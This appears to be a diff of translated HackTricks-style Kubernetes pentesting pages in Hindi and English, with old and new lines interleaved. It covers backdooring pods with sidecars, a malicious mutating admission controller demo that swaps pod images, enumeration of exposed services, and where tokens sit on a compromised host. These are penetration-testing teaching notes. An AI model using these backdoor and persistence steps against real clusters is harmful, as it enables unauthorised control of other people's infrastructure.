Rolebindings create करने का privilege user को **roles को service account से bind करने** देता है। यह privilege privilege escalation तक ले जा सकता है क्योंकि यह **user को compromised service account को admin privileges bind करने** देता है।
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
डिफ़ॉल्ट रूप से pods के बीच communication में कोई encryption नहीं होता। Mutual authentication, two-way, pod to pod।
|
||||
By default pods के बीच communication में कोई encryption नहीं होती। Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
एक sidecar container मूल रूप से pod के अंदर **दूसरा (या अधिक) container जोड़ने** पर आधारित होता है।
|
||||
A sidecar container सिर्फ **pod के अंदर दूसरा (या उससे ज़्यादा) container जोड़ने** से बनता है।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित एक pod की configuration का हिस्सा है जिसमें 2 containers हैं:
|
||||
उदाहरण के लिए, निम्न configuration एक pod के 2 containers वाले हिस्से का है:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -705,47 +707,47 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
उदाहरण के लिए, किसी मौजूदा pod में नया container जोड़कर उसे backdoor करने के लिए आप specification में बस एक नया container जोड़ सकते हैं। ध्यान दें कि आप दूसरे container को पहले वाले के पास न होने वाली **अधिक अनुमतियाँ** दे सकते हैं।
|
||||
उदाहरण के लिए, एक existing pod को एक नए container के साथ backdoor करने के लिए आप specification में बस एक नया container जोड़ सकते हैं। ध्यान दें कि आप दूसरे container को **ज़्यादा permissions दे** सकते हैं, जो पहले वाले के पास नहीं होंगी।
|
||||
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
अधिक जानकारी: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### दुष्ट Admission Controller
|
||||
### Malicious Admission Controller
|
||||
|
||||
एक admission controller Kubernetes API server को भेजे गए अनुरोधों को ऑब्जेक्ट के स्थायीकरण से पहले, लेकिन अनुरोध के प्रमाणीकृत और अधिकृत होने के बाद इंटरसेप्ट करता है।
|
||||
एक admission controller, object के persistence से पहले, लेकिन **request authenticate होने के बाद** **और authorized होने के बाद**, Kubernetes API server पर आने वाली requests को **intercepts** करता है।
|
||||
|
||||
यदि कोई attacker किसी तरह Mutation Admission Controller inject करने में सफल हो जाता है, तो वह पहले से प्रमाणीकृत अनुरोधों को modify करने में सक्षम होगा। इससे संभावित रूप से privesc संभव है, और अधिकतर वह cluster में persist कर सकता है।
|
||||
अगर कोई attacker किसी तरह **Mutation Admission Controller inject** करने में सफल हो जाता है, तो वह **already authenticated requests को modify** कर सकेगा। इससे संभावित रूप से privesc किया जा सकता है, और ज़्यादातर मामलों में cluster में persist किया जा सकता है।
|
||||
|
||||
**उदाहरण स्रोत** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
पता करने के लिए कि यह तैयार है या नहीं, स्थिति जांचें:
|
||||
स्थिति जांचें कि क्या यह ready है:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
फिर एक नया pod तैनात करें:
|
||||
फिर एक नया pod deploy करें:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
जब आप `ErrImagePull` त्रुटि देख रहे हों, तो इमेज का नाम इनमें से किसी एक क्वेरी से जांचें:
|
||||
जब आप `ErrImagePull` error देख सकते हैं, तो image name को निम्न queries में से किसी एक के साथ check करें:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
जैसा कि आप ऊपर की इमेज में देख सकते हैं, हमने इमेज `nginx` चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। यह क्या हुआ!!?
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने image `nginx` चलाने की कोशिश की, लेकिन अंत में निष्पादित हुई image `rewanthtammana/malicious-image` है। आखिर हुआ क्या!!?
|
||||
|
||||
#### तकनीकी विवरण
|
||||
#### Technicalities
|
||||
|
||||
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
|
||||
`./deploy.sh` script एक mutating webhook admission controller स्थापित करती है, जो अपनी configuration lines में निर्दिष्ट अनुसार Kubernetes API requests को modify करती है, जिससे देखे गए outcomes प्रभावित होते हैं:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -753,7 +755,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
ऊपर दिया गया स्निपेट हर pod में पहले container image को `rewanthtammana/malicious-image` से बदल देता है।
|
||||
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
@@ -761,22 +763,22 @@ Value: "rewanthtammana/malicious-image",
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## सर्वोत्तम प्रथाएँ
|
||||
## Best Practices
|
||||
|
||||
### **Service Account Tokens के Automount को अक्षम करना**
|
||||
### **Disabling Automount of Service Account Tokens**
|
||||
|
||||
- **Pods and Service Accounts**: डिफ़ॉल्ट रूप से, pods एक service account token mount करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount फीचर को अक्षम करने की अनुमति देता है।
|
||||
- **How to Apply**: Kubernetes version 1.6 से शुरू होकर, service accounts या pods के configuration में `automountServiceAccountToken: false` सेट करें।
|
||||
- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
|
||||
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings में सीमित उपयोगकर्ता असाइनमेंट**
|
||||
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Selective Inclusion**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता ही RoleBindings या ClusterRoleBindings में शामिल हों। कड़ी सुरक्षा बनाए रखने के लिए नियमित रूप से ऑडिट करें और अनावश्यक उपयोगकर्ताओं को हटा दें।
|
||||
- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
|
||||
|
||||
### **Namespace-विशिष्ट Roles बनाम Cluster-Wide Roles**
|
||||
### **Namespace-Specific Roles Over Cluster-Wide Roles**
|
||||
|
||||
- **Roles vs. ClusterRoles**: ClusterRoles और ClusterRoleBindings (जो cluster-wide लागू होते हैं) के बजाय namespace-specific permissions के लिए Roles और RoleBindings का उपयोग प्राथमिकता दें। यह तरीका अधिक सूक्ष्म नियंत्रण प्रदान करता है और permissions के दायरे को सीमित करता है।
|
||||
- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
|
||||
|
||||
### **स्वचालित tools का उपयोग करें**
|
||||
### **Use automated tools**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Kubernetes में सेवाओं को उजागर करना
|
||||
# Exposing Services in Kubernetes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes में सेवाओं को उजागर करने के **विभिन्न तरीके** हैं ताकि **आंतरिक** एंडपॉइंट और **बाहरी** एंडपॉइंट दोनों उन्हें एक्सेस कर सकें। यह Kubernetes कॉन्फ़िगरेशन काफी महत्वपूर्ण है क्योंकि व्यवस्थापक **हमलावरों को उन सेवाओं तक पहुँच प्रदान कर सकता है जिन तक उन्हें पहुँच नहीं होनी चाहिए**।
|
||||
Kubernetes में **services को expose करने के अलग-अलग तरीके** हैं ताकि **internal** endpoints और **external** endpoints दोनों उन्हें access कर सकें। यह Kubernetes configuration काफी critical है, क्योंकि administrator **attackers को उन services तक access** दे सकता है जिन्हें उन्हें access नहीं करना चाहिए।
|
||||
|
||||
### स्वचालित सूचीकरण
|
||||
### Automatic Enumeration
|
||||
|
||||
K8s द्वारा सार्वजनिक रूप से सेवाओं को उजागर करने के तरीकों की सूची बनाने से पहले, जान लें कि यदि आप नामस्थान, सेवाओं और इनग्रेस को सूचीबद्ध कर सकते हैं, तो आप सार्वजनिक रूप से उजागर की गई सभी चीजें पा सकते हैं:
|
||||
K8s public को services expose करने के लिए जो तरीके देता है, उन्हें enumerate करना शुरू करने से पहले, यह जान लें कि अगर आप namespaces, services और ingresses list कर सकते हैं, तो आप public के लिए exposed सब कुछ इस तरह ढूंढ सकते हैं:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
|
||||
```
|
||||
### ClusterIP
|
||||
|
||||
एक **ClusterIP** सेवा **डिफ़ॉल्ट** Kubernetes **सेवा** है। यह आपको अपने क्लस्टर के अंदर एक **सेवा** देती है जिसे आपके क्लस्टर के अंदर अन्य ऐप्स एक्सेस कर सकते हैं। यहाँ **कोई बाहरी एक्सेस** नहीं है।
|
||||
एक **ClusterIP** service Kubernetes की **default** **service** है। यह आपको आपके cluster के **अंदर एक service** देता है जिसे आपके cluster के अंदर की दूसरी apps access कर सकती हैं। इसमें **कोई external access** नहीं होता।
|
||||
|
||||
हालांकि, इसे Kubernetes प्रॉक्सी का उपयोग करके एक्सेस किया जा सकता है:
|
||||
हालांकि, इसे Kubernetes Proxy का उपयोग करके access किया जा सकता है:
|
||||
```bash
|
||||
kubectl proxy --port=8080
|
||||
```
|
||||
अब, आप इस योजना का उपयोग करके सेवाओं तक पहुँचने के लिए Kubernetes API के माध्यम से नेविगेट कर सकते हैं:
|
||||
अब, आप इस scheme का उपयोग करके services तक पहुंचने के लिए Kubernetes API के through navigate कर सकते हैं:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
|
||||
|
||||
उदाहरण के लिए, आप निम्नलिखित URL का उपयोग कर सकते हैं:
|
||||
उदाहरण के लिए, आप following URL का use कर सकते हैं:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
|
||||
|
||||
इस सेवा तक पहुँचने के लिए:
|
||||
इस service तक पहुंचने के लिए:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -50,21 +50,21 @@ port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
```
|
||||
_इस विधि के लिए आपको `kubectl` को **प्रमाणित उपयोगकर्ता** के रूप में चलाने की आवश्यकता है।_
|
||||
_इस method के लिए आपको `kubectl` को एक **authenticated user** के रूप में चलाना होगा।_
|
||||
|
||||
सभी ClusterIPs की सूची बनाएं:
|
||||
सभी ClusterIPs सूचीबद्ध करें:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
|
||||
```
|
||||
### NodePort
|
||||
|
||||
जब **NodePort** का उपयोग किया जाता है, तो सभी नोड्स (जो वर्चुअल मशीनों का प्रतिनिधित्व करते हैं) पर एक निर्दिष्ट पोर्ट उपलब्ध कराया जाता है। इस विशेष पोर्ट की ओर निर्देशित **Traffic** को फिर व्यवस्थित रूप से **सेवा** की ओर **रूट** किया जाता है। आमतौर पर, इस विधि की कमियों के कारण इसे अनुशंसित नहीं किया जाता है।
|
||||
जब **NodePort** का उपयोग किया जाता है, तो सभी Nodes (Virtual Machines का प्रतिनिधित्व करते हुए) पर एक निर्धारित port उपलब्ध कराया जाता है। इस विशिष्ट port की ओर निर्देशित **Traffic** को फिर व्यवस्थित रूप से **service** तक **routed** किया जाता है। आमतौर पर, इसकी कमियों के कारण यह तरीका recommended नहीं है।
|
||||
|
||||
सभी NodePorts की सूची बनाएं:
|
||||
सभी NodePorts सूचीबद्ध करें:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
|
||||
```
|
||||
NodePort विनिर्देशन का एक उदाहरण:
|
||||
NodePort specification का एक example:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -81,28 +81,30 @@ targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
```
|
||||
यदि आप yaml में **nodePort** निर्दिष्ट नहीं करते हैं (यह वह पोर्ट है जो खोला जाएगा) तो **30000–32767 के रेंज में एक पोर्ट का उपयोग किया जाएगा**।
|
||||
यदि आप yaml में **nodePort** निर्दिष्ट **नहीं करते** हैं (यह वही पोर्ट है जो खुला होगा), तो **30000–32767** की रेंज में से एक पोर्ट उपयोग किया जाएगा।
|
||||
|
||||
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
|
||||
### LoadBalancer
|
||||
|
||||
सेवा को बाहरी रूप से **एक क्लाउड प्रदाता के लोड बैलेंसर का उपयोग करके** उजागर करता है। GKE पर, यह एक [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) को चालू करेगा जो आपको एकल IP पता देगा जो आपके सेवा के लिए सभी ट्रैफ़िक को अग्रेषित करेगा। AWS पर यह एक लोड बैलेंसर लॉन्च करेगा।
|
||||
Service को बाहरी रूप से **cloud provider के load balancer का उपयोग करके** expose करता है। GKE पर, यह एक [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) शुरू करेगा, जो आपको एक single IP address देगा और वह सभी traffic को आपकी service तक forward करेगा। AWS में यह एक Load Balancer लॉन्च करेगा।
|
||||
|
||||
आपको प्रत्येक उजागर सेवा के लिए लोड बैलेंसर के लिए भुगतान करना होगा, जो महंगा हो सकता है।
|
||||
आपको हर exposed service के लिए एक LoadBalancer का भुगतान करना होगा, जो महंगा हो सकता है।
|
||||
|
||||
सभी लोड बैलेंसर की सूची बनाएं:
|
||||
सभी LoadBalancers सूचीबद्ध करें:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
### External IPs <a href="#external-ips" id="external-ips"></a>
|
||||
### External IPs
|
||||
|
||||
> [!TIP]
|
||||
> बाहरी IPs को Load Balancers प्रकार की सेवाओं द्वारा उजागर किया जाता है और आमतौर पर इसका उपयोग तब किया जाता है जब एक बाहरी Cloud Provider Load Balancer का उपयोग किया जा रहा हो।
|
||||
> External IPs services of type Load Balancers द्वारा exposed होते हैं और आम तौर पर तब उपयोग किए जाते हैं जब external Cloud Provider Load Balancer का उपयोग किया जा रहा हो।
|
||||
>
|
||||
> इन्हें खोजने के लिए, `EXTERNAL-IP` फ़ील्ड में मानों के साथ लोड बैलेंसर्स की जांच करें।
|
||||
> उन्हें खोजने के लिए, `EXTERNAL-IP` फ़ील्ड में values वाले load balancers को check करें।
|
||||
|
||||
क्लस्टर में **बाहरी IP** (जैसे **गंतव्य IP**) के साथ आने वाला ट्रैफ़िक, सेवा पोर्ट पर, **सेवा के एक endpoint** की ओर **रूट किया जाएगा**। `externalIPs` को Kubernetes द्वारा प्रबंधित नहीं किया जाता है और यह क्लस्टर प्रशासक की जिम्मेदारी होती है।
|
||||
जो traffic cluster में **external IP** के साथ (**destination IP** के रूप में), Service port पर ingress करता है, उसे **Service endpoints में से एक** की ओर **routed** किया जाएगा। `externalIPs` Kubernetes द्वारा managed नहीं होते और cluster administrator की responsibility होते हैं।
|
||||
|
||||
सेवा स्पेक में, `externalIPs` को किसी भी `ServiceTypes` के साथ निर्दिष्ट किया जा सकता है। नीचे दिए गए उदाहरण में, "`my-service`" को "`80.11.12.10:80`" (`externalIP:port`) पर क्लाइंट द्वारा एक्सेस किया जा सकता है।
|
||||
`externalIPs` एक sensitive route-control field है क्योंकि कोई user जो इसे set कर सकता है, वह ऐसे IP address के लिए traffic claim कर सकता है जिसे Service owner control नहीं करना चाहिए, यदि surrounding network उस IP को cluster की ओर route करता है। Kubernetes ने v1.36 में Service `externalIPs` की deprecation और planned removal की घोषणा की है, इसलिए जहाँ संभव हो वहाँ LoadBalancer integrations या Gateway API जैसे controller-owned exposure mechanisms को prefer करें, और जब तक यह मौजूद है, इस field को carefully restrict/admit करें।
|
||||
|
||||
Service spec में, `externalIPs` को किसी भी `ServiceTypes` के साथ specified किया जा सकता है। नीचे दिए गए example में, "`my-service`" को clients "`80.11.12.10:80`" (`externalIP:port`) पर access कर सकते हैं
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -121,9 +123,9 @@ externalIPs:
|
||||
```
|
||||
### ExternalName
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName प्रकार की सेवाएँ **एक सेवा को DNS नाम से मैप करती हैं**, न कि किसी सामान्य चयनकर्ता जैसे `my-service` या `cassandra` से। आप इन सेवाओं को `spec.externalName` पैरामीटर के साथ निर्दिष्ट करते हैं।
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) type ExternalName वाले Services एक Service को DNS name पर **map** करते हैं, न कि `my-service` या `cassandra` जैसे typical selector पर। आप इन Services को `spec.externalName` parameter के साथ specify करते हैं।
|
||||
|
||||
यह सेवा परिभाषा, उदाहरण के लिए, `prod` नामस्थान में `my-service` सेवा को `my.database.example.com` से मैप करती है:
|
||||
उदाहरण के लिए, यह Service definition `prod` namespace में `my-service` Service को `my.database.example.com` पर map करती है:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -134,56 +136,95 @@ spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
जब `my-service.prod.svc.cluster.local` होस्ट को देखा जाता है, तो क्लस्टर DNS सेवा `CNAME` रिकॉर्ड के साथ `my.database.example.com` मान लौटाती है। `my-service` तक पहुंचना अन्य सेवाओं की तरह ही काम करता है लेकिन महत्वपूर्ण अंतर के साथ कि **पुनर्निर्देशन DNS स्तर पर होता है** न कि प्रॉक्सी या फॉरवर्डिंग के माध्यम से।
|
||||
जब host `my-service.prod.svc.cluster.local` को look up किया जाता है, तो cluster DNS Service `my.database.example.com` value के साथ एक `CNAME` record return करती है। `my-service` को access करना अन्य Services की तरह ही काम करता है, लेकिन एक महत्वपूर्ण अंतर के साथ कि **redirection DNS level पर होता है** न कि proxying या forwarding के जरिए।
|
||||
|
||||
सभी ExternalNames की सूची बनाएं:
|
||||
सभी ExternalNames की सूची:
|
||||
```bash
|
||||
kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
### EndpointSlices
|
||||
|
||||
EndpointSlices किसी Service के लिए वर्तमान में जिन concrete backend addresses और ports पर route किया जा रहा है, उन्हें दिखाते हैं। ये खास तौर पर तब उपयोगी होते हैं जब किसी Service में selector नहीं होता, जब labels traffic path को स्पष्ट नहीं करते, या जब केवल कुछ backends ready होते हैं।
|
||||
|
||||
Services से जुड़े EndpointSlices की सूची देखें:
|
||||
```bash
|
||||
kubectl get endpointslices --all-namespaces
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
|
||||
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
|
||||
```
|
||||
एक exposure की समीक्षा करते समय, Service selector की तुलना EndpointSlice `targetRef`, endpoint addresses, readiness conditions, और ports के साथ करें। एक selectorless Service को manually managed EndpointSlices के साथ जोड़ा जा सकता है और traffic को non-Pod या unexpected destinations की ओर route किया जा सकता है।
|
||||
|
||||
### Ingress
|
||||
|
||||
ऊपर दिए गए सभी उदाहरणों के विपरीत, **Ingress एक प्रकार की सेवा नहीं है**। इसके बजाय, यह **कई सेवाओं के सामने बैठता है और एक "स्मार्ट राउटर"** या आपके क्लस्टर में प्रवेश बिंदु के रूप में कार्य करता है।
|
||||
ऊपर के सभी examples के विपरीत, **Ingress service का प्रकार नहीं है**। इसके बजाय, यह **multiple services के सामने** बैठता है और cluster में entrypoint के रूप में **“smart router”** की तरह काम करता है।
|
||||
|
||||
आप Ingress के साथ कई अलग-अलग चीजें कर सकते हैं, और **Ingress नियंत्रकों के कई प्रकार हैं जिनकी विभिन्न क्षमताएँ हैं**।
|
||||
आप Ingress के साथ कई अलग-अलग चीजें कर सकते हैं, और **Ingress controllers के कई types होते हैं जिनकी capabilities अलग-अलग होती हैं**।
|
||||
|
||||
डिफ़ॉल्ट GKE ingress नियंत्रक आपके लिए एक [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) चालू करेगा। यह आपको बैकएंड सेवाओं के लिए पथ आधारित और उपडोमेन आधारित रूटिंग दोनों करने की अनुमति देगा। उदाहरण के लिए, आप foo.yourdomain.com पर सब कुछ foo सेवा को भेज सकते हैं, और yourdomain.com/bar/ पथ के अंतर्गत सब कुछ bar सेवा को भेज सकते हैं।
|
||||
Default GKE ingress controller आपके लिए एक [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) spin up करेगा। इससे आप path based और subdomain based routing दोनों backend services तक कर सकते हैं। उदाहरण के लिए, आप foo.yourdomain.com पर आने वाला सब कुछ foo service की ओर भेज सकते हैं, और yourdomain.com/bar/ path के नीचे आने वाला सब कुछ bar service की ओर भेज सकते हैं।
|
||||
|
||||
GKE पर [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) के साथ Ingress ऑब्जेक्ट के लिए YAML इस तरह दिख सकता है:
|
||||
GKE पर एक [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) के साथ एक Ingress object का YAML ऐसा दिख सकता है:
|
||||
```yaml
|
||||
apiVersion: extensions/v1beta1
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: my-ingress
|
||||
spec:
|
||||
backend:
|
||||
serviceName: other
|
||||
servicePort: 8080
|
||||
defaultBackend:
|
||||
service:
|
||||
name: other
|
||||
port:
|
||||
number: 8080
|
||||
rules:
|
||||
- host: foo.mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: foo
|
||||
servicePort: 8080
|
||||
- path: /
|
||||
pathType: Prefix
|
||||
backend:
|
||||
service:
|
||||
name: foo
|
||||
port:
|
||||
number: 8080
|
||||
- host: mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- path: /bar/*
|
||||
- path: /bar
|
||||
pathType: Prefix
|
||||
backend:
|
||||
serviceName: bar
|
||||
servicePort: 8080
|
||||
service:
|
||||
name: bar
|
||||
port:
|
||||
number: 8080
|
||||
```
|
||||
सभी इनग्रेस की सूची बनाएं:
|
||||
सभी ingresses की सूची बनाएं:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
हालांकि इस मामले में प्रत्येक की जानकारी को एक-एक करके प्राप्त करना बेहतर है ताकि इसे बेहतर तरीके से पढ़ा जा सके:
|
||||
हालाँकि इस मामले में इसे बेहतर तरीके से पढ़ने के लिए एक-एक करके हर एक की जानकारी लेना बेहतर है:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
### संदर्भ
|
||||
### Gateway API
|
||||
|
||||
Gateway API Services को expose करने के लिए नया Kubernetes API है। यह infrastructure-owned Gateway objects को application-owned Route objects जैसे HTTPRoute से अलग करता है। यह delegation के लिए उपयोगी है, लेकिन इसका मतलब यह भी है कि exposure namespaces के बीच split हो सकता है।
|
||||
|
||||
Gateway API exposure objects की सूची बनाएं:
|
||||
```bash
|
||||
kubectl get gatewayclasses
|
||||
kubectl get gateways --all-namespaces
|
||||
kubectl get httproutes --all-namespaces
|
||||
kubectl get gateway -n <namespace> <gateway-name> -o yaml
|
||||
kubectl get httproute -n <namespace> <route-name> -o yaml
|
||||
```
|
||||
Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, और status conditions जैसे कि route accepted हुआ था या नहीं, की जांच करें। एक Route जो shared Gateway द्वारा accepted है, वह backend expose कर सकता है, भले ही कोई legacy Ingress object मौजूद न हो।
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
|
||||
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,86 +4,86 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
यदि आपके पास किसी मशीन तक समझौता किया गया पहुंच है, तो उपयोगकर्ता के पास कुछ Kubernetes प्लेटफ़ॉर्म तक पहुंच हो सकती है। टोकन आमतौर पर **env var `KUBECONFIG`** द्वारा इंगित फ़ाइल में या **`~/.kube`** के अंदर स्थित होता है।
|
||||
अगर आपने किसी मशीन पर compromise access प्राप्त कर लिया है, तो संभव है कि user के पास किसी Kubernetes platform तक access हो। token आमतौर पर उस file में होता है जो **env var `KUBECONFIG`** द्वारा point की जाती है या **`~/.kube`** के अंदर होती है।
|
||||
|
||||
इस फ़ोल्डर में आप **API सर्वर से कनेक्ट करने के लिए टोकन और कॉन्फ़िगरेशन के साथ कॉन्फ़िग फ़ाइलें** पा सकते हैं। इस फ़ोल्डर में आपको पहले से प्राप्त जानकारी के साथ एक कैश फ़ोल्डर भी मिल सकता है।
|
||||
इस folder में आपको ऐसे config files मिल सकते हैं जिनमें **tokens और API server से connect करने के configurations** होते हैं। इस folder में आपको एक cache folder भी मिल सकता है जिसमें पहले से retrieved information होती है।
|
||||
|
||||
यदि आपने Kubernetes वातावरण के अंदर एक पॉड से समझौता किया है, तो अन्य स्थान हैं जहाँ आप टोकन और वर्तमान K8 वातावरण के बारे में जानकारी पा सकते हैं:
|
||||
अगर आपने किसी kubernetes environment के अंदर एक pod को compromise किया है, तो कुछ और जगहें हैं जहाँ आपको current K8 env के tokens और information मिल सकती है:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
जारी रखने से पहले, यदि आप नहीं जानते कि Kubernetes में सेवा क्या है, तो मैं आपको **इस लिंक का पालन करने और Kubernetes आर्किटेक्चर के बारे में कम से कम जानकारी पढ़ने** की सलाह दूंगा।
|
||||
आगे बढ़ने से पहले, अगर आपको Kubernetes में service क्या है यह नहीं पता, तो मैं सुझाव दूँगा कि आप **इस link को follow करें और कम से कम Kubernetes architecture के बारे में जानकारी पढ़ें।**
|
||||
|
||||
Kubernetes [दस्तावेज़ीकरण](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) से लिया गया:
|
||||
Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) से लिया गया:
|
||||
|
||||
_“जब आप एक पॉड बनाते हैं, यदि आप एक सेवा खाता निर्दिष्ट नहीं करते हैं, तो इसे स्वचालित रूप से उसी namespace में डिफ़ॉल्ट सेवा खाते को सौंपा जाता है।”_
|
||||
